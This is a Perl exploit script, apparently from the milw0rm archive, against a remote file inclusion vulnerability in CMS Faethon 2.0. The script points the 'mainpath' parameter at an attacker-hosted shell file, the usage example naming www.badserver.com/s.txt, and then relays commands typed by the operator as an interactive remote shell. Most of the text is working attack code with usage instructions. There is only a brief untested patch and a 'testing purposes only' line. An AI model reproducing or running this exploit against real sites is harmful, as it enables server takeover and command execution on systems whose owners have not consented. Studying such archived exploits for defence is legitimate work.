CMS Faethon 2.0 - 'mainpath' Remote File Inclusion

#!/usr/bin/perl

#####################################################################################################
#                                                                                                   #
# CMS Faethon 2.0 Ultimate                                                                          #
#                                                                                                   #
# Class:  Remote/Local File Include Vulnerability                                                   #
#                                                                                                   #
# Date:   2006/10/24                                                                                #
#                                                                                                   #
# Remote: Yes                                                                                       #
#                                                                                                   #
# Type:   Highly critical                                                                           #
#                                                                                                   #
# Vendor: www.cmsfaethon.org                                                                	    #
#                                                                                                   #
# Download: http://cmsfaethon.org/downloads/                                            	    #
#                                                                                                   #
# Note: Successful exploitation requires register_globals = on and magic_quotes_gpc = on            #
#                                                                                                   #
# Discovered & Exploit by: r0ut3r (writ3r [at] gmail.com)                                           #
#                                                                                                   #
# Exploit: cmsfaethon2_xpl.pl                                                                       #
#                                                                                                   #
# Vulnerable code config.php                                                                        #
# require($mainpath . '../config.php');                                                             #
#                                                                                                   #
# Vulnerable code rss-reader.php                                                                    #
# if(isset($_GET['rss'])) { $source = $_GET['rss']; }                                               #
#                                                                                                   #
# // include lastRSS                                                                                #
# include($mainpath.'lib/class.lastrss.php');                                                       #
# include($mainpath.'lib/functions_AutoCzech.php');                                                 #
#                                                                                                   #
# Comments:                                                                                         #
# Whats happenin tgo.                                                                               #
# Good lookin out with that last exploit too str0ke                                                 #
#                                                                                                   #
#####################################################################################################

use LWP::UserAgent;
use LWP::Simple

$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$fileno = @ARGV[3];

if(!$target || !$shellsite)
{
    usage();
}

header();

if ($fileno eq 1)
{
    $file = "/admin/config.php?mainpath=";
}
elsif ($fileno eq 2)
{
    $file = "/includes/rss-reader.php?mainpath=";
}
else
{
    $file = "/admin/config.php?mainpath=";
}

if (@ARGV[5] eq "-p")
    {
    print q
    {
########################################################################
            Apply the following code to both files below:
1: admin/config.php
2: includes/rss-reader.php

if(basename(__FILE__) == basename($_SERVER['PHP_SELF']))
    die();

NOTE: Patch hasn't been tested, but it should work. The code denies
direct access to the files it is applied to.
########################################################################
    }
    }

print "Type 'exit' to quit";
print "[cmd]\$";
$cmd = <STDIN>;

while ($cmd !~ "exit")
{
    $xpl = LWP::UserAgent->new() or die;
        $req =
HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'$shellcmd.'='.$cmd)
or die("\n\n Failed to connect.");
        $res = $xpl->request($req);
        $r = $res->content;
        $r =~ tr/[\n]/[&#234;]/;

    if (@ARGV[4] eq "-r")
    {
        print $r;
    }

    print "[cmd]\$";
    $cmd = <STDIN>;
}

sub header()
{
    print q
    {
########################################################################
        CMS Faethon 2.0 Ultimate - Remote File Include Exploit
            Vulnerability discovered and exploit by r0ut3r
                        writ3r [at] gmail.com
          For CMS Faethon administrator testing purposes only!
########################################################################
    };
}

sub usage()
{
    header();
    print q
    {
########################################################################
Usage:
perl cmsfaethon2_xpl.pl <Target website> <Shell Location> <CMD Variable> <f> <-r> <-p>
<Target Website> - Path to target eg: www.faethon.target.com
<Shell Location> - Path to shell eg: www.badserver.com/s.txt
<CMD Variable> - Shell command variable name eg: cmd
<f> - Vulnerable file number, corresponding to:
1: config.php
2: rss-reader.php
<r> - Show output from shell
<p> - Display patch
Example:
perl cmsfaethon2_xpl.pl http://localhost http://localhost/s.txt cmd 1 -r -p
########################################################################
    };
    exit();
}

# milw0rm.com [2006-10-24]